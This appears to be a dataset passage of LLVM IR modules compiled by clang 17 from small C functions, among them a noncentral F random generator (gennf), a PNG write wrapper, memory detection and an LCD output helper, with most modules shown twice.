%61 = load double, ptr %13, align 8
%62 = fmul double %60, %61
store double %62, ptr %15, align 8
%63 = load double, ptr %14, align 8
%64 = load double, ptr %15, align 8
%65 = fcmp olt double %63, %64
br i1 %65, label %66, label %101
66: ; preds = %22
%67 = getelementptr inbounds [3 x double], ptr %16, i64 0, i64 0
%68 = call double @vecMag(ptr noundef %67)
store double %68, ptr %17, align 8
%69 = load double, ptr %17, align 8
%70 = load double, ptr %8, align 8
%71 = fadd double %69, %70
store double %71, ptr %15, align 8
%72 = load double, ptr %15, align 8
%73 = load double, ptr %15, align 8
%74 = fmul double %73, %72
store double %74, ptr %15, align 8
%75 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%76 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%77 = call double @dotProd(ptr noundef %75, ptr noundef %76)
store double %77, ptr %19, align 8
%78 = load double, ptr %19, align 8
%79 = load double, ptr %15, align 8
%80 = fcmp ogt double %78, %79
br i1 %80, label %81, label %82
81: ; preds = %66
store i32 0, ptr %12, align 4
br label %116
82: ; preds = %66
%83 = load ptr, ptr %7, align 8
%84 = load ptr, ptr %5, align 8
%85 = load i32, ptr %11, align 4
%86 = add nsw i32 %85, 1
%87 = srem i32 %86, 3
%88 = sext i32 %87 to i64
%89 = getelementptr inbounds [3 x double], ptr %84, i64 %88
%90 = getelementptr inbounds [3 x double], ptr %89, i64 0, i64 0
%91 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%92 = call i32 @diffVt(ptr noundef %83, ptr noundef %90, ptr noundef %91)
%93 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%94 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%95 = call double @dotProd(ptr noundef %93, ptr noundef %94)
store double %95, ptr %19, align 8
%96 = load double, ptr %19, align 8
%97 = load double, ptr %15, align 8
%98 = fcmp ogt double %96, %97
br i1 %98, label %99, label %100
99: ; preds = %82
store i32 0, ptr %12, align 4
br label %116
100: ; preds = %82
br label %111
101: ; preds = %22
%102 = load double, ptr %10, align 8
%103 = fcmp ogt double %102, 0.000000e+00
br i1 %103, label %104, label %105
104: ; preds = %101
br label %110
105: ; preds = %101
%106 = load double, ptr %10, align 8
%107 = fcmp olt double %106, 0.000000e+00
br i1 %107, label %108, label %109
108: ; preds = %105
store i32 0, ptr %12, align 4
br label %116
109: ; preds = %105
br label %110
110: ; preds = %109, %104
br label %111
111: ; preds = %110, %100
%112 = load i32, ptr %11, align 4
%113 = add nsw i32 %112, 1
store i32 %113, ptr %11, align 4
%114 = load i32, ptr %11, align 4
%115 = icmp slt i32 %114, 3
br i1 %115, label %22, label %..loopexit_crit_edge, !llvm.loop !6
..loopexit_crit_edge: ; preds = %111
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %4
br label %116
116: ; preds = %.loopexit, %108, %99, %81
%117 = load i32, ptr %12, align 4
ret i32 %117
}
declare i32 @diffVt(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @crossProd(ptr noundef, ptr noundef, ptr noundef) #1
declare double @dotProd(ptr noundef, ptr noundef) #1
declare double @vecMag(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp_4ox17ye.c'
source_filename = "/tmp/tmp_4ox17ye.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@gennf.gennf = internal global float 0.000000e+00, align 4
@gennf.xden = internal global float 0.000000e+00, align 4
@gennf.xnum = internal global float 0.000000e+00, align 4
@gennf.qcond = internal global i64 0, align 8
@.str = private unnamed_addr constant [45 x i8] c"In GENNF - Either (1) Numerator DF < 1.0 or\0A\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [31 x i8] c" (2) Denominator DF <= 0.0 or\0A\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c" (3) Noncentrality parameter < 0.0\0A\00", align 1
@.str.3 = private unnamed_addr constant [58 x i8] c"DFN value: %16.6E DFD value: %16.6E XNONC value: \0A%16.6E\0A\00", align 1
@.str.4 = private unnamed_addr constant [49 x i8] c" GENNF - generated numbers would cause overflow\0A\00", align 1
@.str.5 = private unnamed_addr constant [38 x i8] c" Numerator %16.6E Denominator %16.6E\0A\00", align 1
@.str.6 = private unnamed_addr constant [25 x i8] c" GENNF returning 1.0E37\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local float @gennf(float noundef %0, float noundef %1, float noundef %2) #0 {
%4 = alloca float, align 4
%5 = alloca float, align 4
%6 = alloca float, align 4
store float %0, ptr %4, align 4
store float %1, ptr %5, align 4
store float %2, ptr %6, align 4
%7 = load float, ptr %4, align 4
%8 = fpext float %7 to double
%9 = fcmp olt double %8, 1.000000e+00
br i1 %9, label %18, label %10
10: ; preds = %3
%11 = load float, ptr %5, align 4
%12 = fpext float %11 to double
%13 = fcmp ole double %12, 0.000000e+00
br i1 %13, label %18, label %14
14: ; preds = %10
%15 = load float, ptr %6, align 4
%16 = fpext float %15 to double
%17 = fcmp olt double %16, 0.000000e+00
br label %18
18: ; preds = %14, %10, %3
%19 = phi i1 [ true, %10 ], [ true, %3 ], [ %17, %14 ]
%20 = zext i1 %19 to i32
%21 = sext i32 %20 to i64
store i64 %21, ptr @gennf.qcond, align 8
%22 = load i64, ptr @gennf.qcond, align 8
%23 = icmp ne i64 %22, 0
br i1 %23, label %25, label %24
24: ; preds = %18
br label %39
25: ; preds = %18
%26 = load i32, ptr @stderr, align 4
%27 = call i32 @fputs(ptr noundef @.str, i32 noundef %26)
%28 = load i32, ptr @stderr, align 4
%29 = call i32 @fputs(ptr noundef @.str.1, i32 noundef %28)
%30 = load i32, ptr @stderr, align 4
%31 = call i32 @fputs(ptr noundef @.str.2, i32 noundef %30)
%32 = load i32, ptr @stderr, align 4
%33 = load float, ptr %4, align 4
%34 = load float, ptr %5, align 4
%35 = load float, ptr %6, align 4
%36 = fpext float %35 to double
%37 = call i32 (i32, ptr, float, float, ...) @fprintf(i32 noundef %32, ptr noundef @.str.3, float noundef %33, float noundef %34, double noundef %36)
%38 = call i32 @exit(i32 noundef 1) #4
unreachable
39: ; preds = %24
%40 = load float, ptr %4, align 4
%41 = fpext float %40 to double
%42 = fcmp oge double %41, 0x3FF000010C6F7A0B
br i1 %42, label %43, label %44
43: ; preds = %39
br label %51
44: ; preds = %39
%45 = call i64 (...) @snorm()
%46 = load float, ptr %6, align 4
%47 = call i64 @sqrt(float noundef %46)
%48 = add nsw i64 %45, %47
%49 = call double @pow(i64 noundef %48, double noundef 2.000000e+00)
%50 = fptrunc double %49 to float
store float %50, ptr @gennf.xnum, align 4
br label %68
51: ; preds = %43
%52 = load float, ptr %4, align 4
%53 = fpext float %52 to double
%54 = fsub double %53, 1.000000e+00
%55 = fdiv double %54, 2.000000e+00
%56 = fptrunc double %55 to float
%57 = call double @sgamma(float noundef %56)
%58 = call i64 (...) @snorm()
%59 = load float, ptr %6, align 4
%60 = call i64 @sqrt(float noundef %59)
%61 = add nsw i64 %58, %60
%62 = call double @pow(i64 noundef %61, double noundef 2.000000e+00)
%63 = call double @llvm.fmuladd.f64(double 2.000000e+00, double %57, double %62)
%64 = load float, ptr %4, align 4
%65 = fpext float %64 to double
%66 = fdiv double %63, %65
%67 = fptrunc double %66 to float
store float %67, ptr @gennf.xnum, align 4
br label %68
68: ; preds = %51, %44
%69 = load float, ptr %5, align 4
%70 = fpext float %69 to double
%71 = fdiv double %70, 2.000000e+00
%72 = fptrunc double %71 to float
%73 = call double @sgamma(float noundef %72)
%74 = fmul double 2.000000e+00, %73
%75 = load float, ptr %5, align 4
%76 = fpext float %75 to double
%77 = fdiv double %74, %76
%78 = fptrunc double %77 to float
store float %78, ptr @gennf.xden, align 4
%79 = load float, ptr @gennf.xden, align 4
%80 = fpext float %79 to double
%81 = load float, ptr @gennf.xnum, align 4
%82 = fpext float %81 to double
%83 = fmul double 1.000000e-37, %82
%84 = fcmp ole double %80, %83
br i1 %84, label %86, label %85
85: ; preds = %68
br label %95
86: ; preds = %68
%87 = load i32, ptr @stderr, align 4
%88 = call i32 @fputs(ptr noundef @.str.4, i32 noundef %87)
%89 = load i32, ptr @stderr, align 4
%90 = load float, ptr @gennf.xnum, align 4
%91 = load float, ptr @gennf.xden, align 4
%92 = call i32 (i32, ptr, float, float, ...) @fprintf(i32 noundef %89, ptr noundef @.str.5, float noundef %90, float noundef %91)
%93 = load i32, ptr @stderr, align 4
%94 = call i32 @fputs(ptr noundef @.str.6, i32 noundef %93)
store float 0x479E17B840000000, ptr @gennf.gennf, align 4
br label %99
95: ; preds = %85
%96 = load float, ptr @gennf.xnum, align 4
%97 = load float, ptr @gennf.xden, align 4
%98 = fdiv float %96, %97
store float %98, ptr @gennf.gennf, align 4
br label %99
99: ; preds = %95, %86
%100 = load float, ptr @gennf.gennf, align 4
ret float %100
}
declare i32 @fputs(ptr noundef, i32 noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, float noundef, float noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare double @pow(i64 noundef, double noundef) #1
declare i64 @snorm(...) #1
declare i64 @sqrt(float noundef) #1
declare double @sgamma(float noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_4ox17ye.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@gennf.gennf = internal global float 0.000000e+00, align 4
@gennf.xden = internal global float 0.000000e+00, align 4
@gennf.xnum = internal global float 0.000000e+00, align 4
@gennf.qcond = internal global i64 0, align 8
@.str = private unnamed_addr constant [45 x i8] c"In GENNF - Either (1) Numerator DF < 1.0 or\0A\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [31 x i8] c" (2) Denominator DF <= 0.0 or\0A\00", align 1
@.str.2 = private unnamed_addr constant [36 x i8] c" (3) Noncentrality parameter < 0.0\0A\00", align 1
@.str.3 = private unnamed_addr constant [58 x i8] c"DFN value: %16.6E DFD value: %16.6E XNONC value: \0A%16.6E\0A\00", align 1
@.str.4 = private unnamed_addr constant [49 x i8] c" GENNF - generated numbers would cause overflow\0A\00", align 1
@.str.5 = private unnamed_addr constant [38 x i8] c" Numerator %16.6E Denominator %16.6E\0A\00", align 1
@.str.6 = private unnamed_addr constant [25 x i8] c" GENNF returning 1.0E37\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local float @gennf(float noundef %0, float noundef %1, float noundef %2) #0 {
%4 = alloca float, align 4
%5 = alloca float, align 4
%6 = alloca float, align 4
store float %0, ptr %4, align 4
store float %1, ptr %5, align 4
store float %2, ptr %6, align 4
%7 = load float, ptr %4, align 4
%8 = fpext float %7 to double
%9 = fcmp olt double %8, 1.000000e+00
br i1 %9, label %18, label %10
10: ; preds = %3
%11 = load float, ptr %5, align 4
%12 = fpext float %11 to double
%13 = fcmp ole double %12, 0.000000e+00
br i1 %13, label %18, label %14
14: ; preds = %10
%15 = load float, ptr %6, align 4
%16 = fpext float %15 to double
%17 = fcmp olt double %16, 0.000000e+00
br label %18
18: ; preds = %14, %10, %3
%19 = phi i1 [ true, %10 ], [ true, %3 ], [ %17, %14 ]
%20 = zext i1 %19 to i32
%21 = sext i32 %20 to i64
store i64 %21, ptr @gennf.qcond, align 8
%22 = load i64, ptr @gennf.qcond, align 8
%23 = icmp ne i64 %22, 0
br i1 %23, label %25, label %24
24: ; preds = %18
br label %39
25: ; preds = %18
%26 = load i32, ptr @stderr, align 4
%27 = call i32 @fputs(ptr noundef @.str, i32 noundef %26)
%28 = load i32, ptr @stderr, align 4
%29 = call i32 @fputs(ptr noundef @.str.1, i32 noundef %28)
%30 = load i32, ptr @stderr, align 4
%31 = call i32 @fputs(ptr noundef @.str.2, i32 noundef %30)
%32 = load i32, ptr @stderr, align 4
%33 = load float, ptr %4, align 4
%34 = load float, ptr %5, align 4
%35 = load float, ptr %6, align 4
%36 = fpext float %35 to double
%37 = call i32 (i32, ptr, float, float, ...) @fprintf(i32 noundef %32, ptr noundef @.str.3, float noundef %33, float noundef %34, double noundef %36)
%38 = call i32 @exit(i32 noundef 1) #4
unreachable
39: ; preds = %24
%40 = load float, ptr %4, align 4
%41 = fpext float %40 to double
%42 = fcmp oge double %41, 0x3FF000010C6F7A0B
br i1 %42, label %43, label %44
43: ; preds = %39
br label %51
44: ; preds = %39
%45 = call i64 (...) @snorm()
%46 = load float, ptr %6, align 4
%47 = call i64 @sqrt(float noundef %46)
%48 = add nsw i64 %45, %47
%49 = call double @pow(i64 noundef %48, double noundef 2.000000e+00)
%50 = fptrunc double %49 to float
store float %50, ptr @gennf.xnum, align 4
br label %68
51: ; preds = %43
%52 = load float, ptr %4, align 4
%53 = fpext float %52 to double
%54 = fsub double %53, 1.000000e+00
%55 = fdiv double %54, 2.000000e+00
%56 = fptrunc double %55 to float
%57 = call double @sgamma(float noundef %56)
%58 = call i64 (...) @snorm()
%59 = load float, ptr %6, align 4
%60 = call i64 @sqrt(float noundef %59)
%61 = add nsw i64 %58, %60
%62 = call double @pow(i64 noundef %61, double noundef 2.000000e+00)
%63 = call double @llvm.fmuladd.f64(double 2.000000e+00, double %57, double %62)
%64 = load float, ptr %4, align 4
%65 = fpext float %64 to double
%66 = fdiv double %63, %65
%67 = fptrunc double %66 to float
store float %67, ptr @gennf.xnum, align 4
br label %68
68: ; preds = %51, %44
%69 = load float, ptr %5, align 4
%70 = fpext float %69 to double
%71 = fdiv double %70, 2.000000e+00
%72 = fptrunc double %71 to float
%73 = call double @sgamma(float noundef %72)
%74 = fmul double 2.000000e+00, %73
%75 = load float, ptr %5, align 4
%76 = fpext float %75 to double
%77 = fdiv double %74, %76
%78 = fptrunc double %77 to float
store float %78, ptr @gennf.xden, align 4
%79 = load float, ptr @gennf.xden, align 4
%80 = fpext float %79 to double
%81 = load float, ptr @gennf.xnum, align 4
%82 = fpext float %81 to double
%83 = fmul double 1.000000e-37, %82
%84 = fcmp ole double %80, %83
br i1 %84, label %86, label %85
85: ; preds = %68
br label %95
86: ; preds = %68
%87 = load i32, ptr @stderr, align 4
%88 = call i32 @fputs(ptr noundef @.str.4, i32 noundef %87)
%89 = load i32, ptr @stderr, align 4
%90 = load float, ptr @gennf.xnum, align 4
%91 = load float, ptr @gennf.xden, align 4
%92 = call i32 (i32, ptr, float, float, ...) @fprintf(i32 noundef %89, ptr noundef @.str.5, float noundef %90, float noundef %91)
%93 = load i32, ptr @stderr, align 4
%94 = call i32 @fputs(ptr noundef @.str.6, i32 noundef %93)
store float 0x479E17B840000000, ptr @gennf.gennf, align 4
br label %99
95: ; preds = %85
%96 = load float, ptr @gennf.xnum, align 4
%97 = load float, ptr @gennf.xden, align 4
%98 = fdiv float %96, %97
store float %98, ptr @gennf.gennf, align 4
br label %99
99: ; preds = %95, %86
%100 = load float, ptr @gennf.gennf, align 4
ret float %100
}
declare i32 @fputs(ptr noundef, i32 noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, float noundef, float noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare double @pow(i64 noundef, double noundef) #1
declare i64 @snorm(...) #1
declare i64 @sqrt(float noundef) #1
declare double @sgamma(float noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #3
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) }
attributes #4 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpf2tyfe1f.c'
source_filename = "/tmp/tmpf2tyfe1f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@Z_BEST_COMPRESSION = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @png_write(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store i32 %3, ptr %8, align 4
%9 = load ptr, ptr %5, align 8
%10 = load ptr, ptr %6, align 8
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %8, align 4
%13 = load i32, ptr @Z_BEST_COMPRESSION, align 4
%14 = call i32 @png_write_palette_based2(ptr noundef %9, ptr noundef %10, i32 noundef %11, i32 noundef %12, i32 noundef 0, i32 noundef %13)
ret void
}
declare i32 @png_write_palette_based2(ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpf2tyfe1f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@Z_BEST_COMPRESSION = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @png_write(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store i32 %3, ptr %8, align 4
%9 = load ptr, ptr %5, align 8
%10 = load ptr, ptr %6, align 8
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %8, align 4
%13 = load i32, ptr @Z_BEST_COMPRESSION, align 4
%14 = call i32 @png_write_palette_based2(ptr noundef %9, ptr noundef %10, i32 noundef %11, i32 noundef %12, i32 noundef 0, i32 noundef %13)
ret void
}
declare i32 @png_write_palette_based2(ptr noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp6ibx9se7.c'
source_filename = "/tmp/tmp6ibx9se7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp6ibx9se7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3hbscg21.c'
source_filename = "/tmp/tmp3hbscg21.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @detect_memory() #0 {
%1 = alloca i32, align 4
store i32 -1, ptr %1, align 4
%2 = call i64 (...) @detect_memory_e820()
%3 = icmp sgt i64 %2, 0
br i1 %3, label %4, label %5
4: ; preds = %0
store i32 0, ptr %1, align 4
br label %5
5: ; preds = %4, %0
%6 = call i32 (...) @detect_memory_e801()
%7 = icmp ne i32 %6, 0
br i1 %7, label %9, label %8
8: ; preds = %5
store i32 0, ptr %1, align 4
br label %9
9: ; preds = %8, %5
%10 = call i32 (...) @detect_memory_88()
%11 = icmp ne i32 %10, 0
br i1 %11, label %13, label %12
12: ; preds = %9
store i32 0, ptr %1, align 4
br label %13
13: ; preds = %12, %9
%14 = load i32, ptr %1, align 4
ret i32 %14
}
declare i64 @detect_memory_e820(...) #1
declare i32 @detect_memory_e801(...) #1
declare i32 @detect_memory_88(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3hbscg21.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @detect_memory() #0 {
%1 = alloca i32, align 4
store i32 -1, ptr %1, align 4
%2 = call i64 (...) @detect_memory_e820()
%3 = icmp sgt i64 %2, 0
br i1 %3, label %4, label %5
4: ; preds = %0
store i32 0, ptr %1, align 4
br label %5
5: ; preds = %4, %0
%6 = call i32 (...) @detect_memory_e801()
%7 = icmp ne i32 %6, 0
br i1 %7, label %9, label %8
8: ; preds = %5
store i32 0, ptr %1, align 4
br label %9
9: ; preds = %8, %5
%10 = call i32 (...) @detect_memory_88()
%11 = icmp ne i32 %10, 0
br i1 %11, label %13, label %12
12: ; preds = %9
store i32 0, ptr %1, align 4
br label %13
13: ; preds = %12, %9
%14 = load i32, ptr %1, align 4
ret i32 %14
}
declare i64 @detect_memory_e820(...) #1
declare i32 @detect_memory_e801(...) #1
declare i32 @detect_memory_88(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpc_h0a03z.c'
source_filename = "/tmp/tmpc_h0a03z.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @mostraplinha(i8 noundef signext %0) #0 {
%2 = alloca i8, align 1
store i8 %0, ptr %2, align 1
%3 = load i8, ptr %2, align 1
%4 = call i32 @LCD_Out(i32 noundef 1, i32 noundef 1, i8 noundef signext %3)
ret void
}
declare i32 @LCD_Out(i32 noundef, i32 noundef, i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
